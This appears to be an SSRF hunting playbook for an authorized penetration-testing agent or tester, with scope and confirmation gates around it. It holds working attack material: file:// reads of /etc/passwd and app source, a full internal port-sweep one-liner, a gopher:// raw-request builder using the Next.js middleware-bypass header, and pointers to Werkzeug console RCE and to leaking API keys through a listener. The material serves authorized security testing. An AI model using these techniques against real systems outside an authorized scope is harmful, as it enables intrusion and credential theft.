Hunt Ssrf

Hunt: SSRF

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSRF server-side request forgery cloud metadata" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[wiki/payloads/ssrf]]. Payload arsenal: wiki/payloads/ssrf.md. Bypass variants: [[dns-rebinding]] (hostname re-resolution TOCTOU past an allowlist), [[open-redirect]] (chain a trusted redirect to an internal target).

Confirmation gate

Blind SSRF claims require OOB confirmation. No exceptions.

NOT confirmation: URL echo in error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain.

When you plant a blind/OOB SSRF payload, append a row to targets/<eng>/oob.md: | <token> | <sink url+param> | ssrf | <date> | waiting | | (columns: token | sink | class | planted | status | source, where token = your unique Collaborator/interactsh label). The recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart surfaces HITs; a HIT row is the confirmation gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT row.

Setup OOB before testing (full channel guide: wiki oob-callbacks - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):

interactsh-client -v   # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>

Attack Surface Signals

URL patterns:

?url=  ?uri=  ?src=  ?source=  ?feed=  ?host=  ?target=  ?dest=
?redirect=  ?callback=  ?image=  ?fetch=  ?load=  ?endpoint=
/api/*/preview  /api/*/fetch  /api/*/import  /api/*/webhook  /api/*/render

High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines.

Check SCHEME control EARLY (before grinding host/port bypasses). If the sink concatenates your input as a raw URL PREFIX with no hardcoded scheme (e.g. pycurl setopt(URL, server + '/path'), requests.get(host+path); tell: the default value has no http://, like server=host:8087), you control the scheme, not just the host -> try file:///etc/passwd and file:///<app-source> for a straight LFI, and gopher:// for internal TCP. The moment file:// reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/ auth/next-steps faster than any probing, and on Flask debug=True a file-read computes the console PIN -> RCE ([[werkzeug-debug-console-rce]]). Also: pointing the sink at your own listener leaks its outbound request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".

Once outbound is confirmed: ENUMERATE INTERNAL FIRST (do not skip)

An internal-only service is the usual SSRF objective and it is invisible to your external nmap, so the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep 127.0.0.1 ports THROUGH the sink and fingerprint everything that answers:

export T=<target>
# non-empty / distinct body = open. Sweep the FULL range, threaded (-P 50). Under no_dos or a
# scan-rate cap in scope.md, probe the curated high-value port list in wiki/payloads/ssrf instead
# of blasting all 65535. This is service discovery, NOT object enumeration -- the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"'

• Sweep wide. "Common ports only" misses the box: THM Extract hid its objective (a Next.js app) on internal :10000. Threaded drop-in + curated high-value ports in [[wiki/payloads/ssrf]] payloads.
• Fingerprint each internal service and run it through playbook.json / the matching hunt skill exactly as if it were external (<title>, Server / x-powered-by, /_next/static -> Next.js -> CVE-2025-29927, /solr, /actuator, Jenkins, GitLab...). recon-capture only fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook - you must apply it by hand. This is exactly where internal CVEs get missed.

Gopher: send what ?url= cannot

A plain ?url= fetch issues a fixed GET with no control over method/headers/cookies/body. Many internal exploits need precisely that control. gopher://host:port/_<raw-bytes> makes the sink open a raw TCP socket and send arbitrary bytes - a full HTTP request you craft:

import urllib.parse, subprocess
T="<target>"
def gopher(raw: bytes, port: int):                       # raw = the complete request you build
    sel=''.join('%%%02X'%b for b in raw)                 # percent-encode bytes -> gopher selector
    g='gopher://127.0.0.1:%d/_%s'%(port, sel)
    return subprocess.run(['curl','-s','-m','10',
        'http://%s/preview.php?url=%s'%(T, urllib.parse.quote(g, safe=''))],   # encode again for ?url=
        capture_output=True).stdout
req=b'GET /admin HTTP/1.1\r\nHost: 127.0.0.1\r\nx-middleware-subrequest: middleware\r\nConnection: close\r\n\r\n'

Unlocks: custom headers for header-based CVEs (Next.js CVE-2025-29927 x-middleware-subrequest), HTTP Basic auth (Authorization: Basic), POST logins, forged cookies (serialized-object / JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full send(method,path,headers,cookie,body) builder in [[wiki/payloads/ssrf]] payloads. Gopher cannot read files - it is for TCP services, not file://.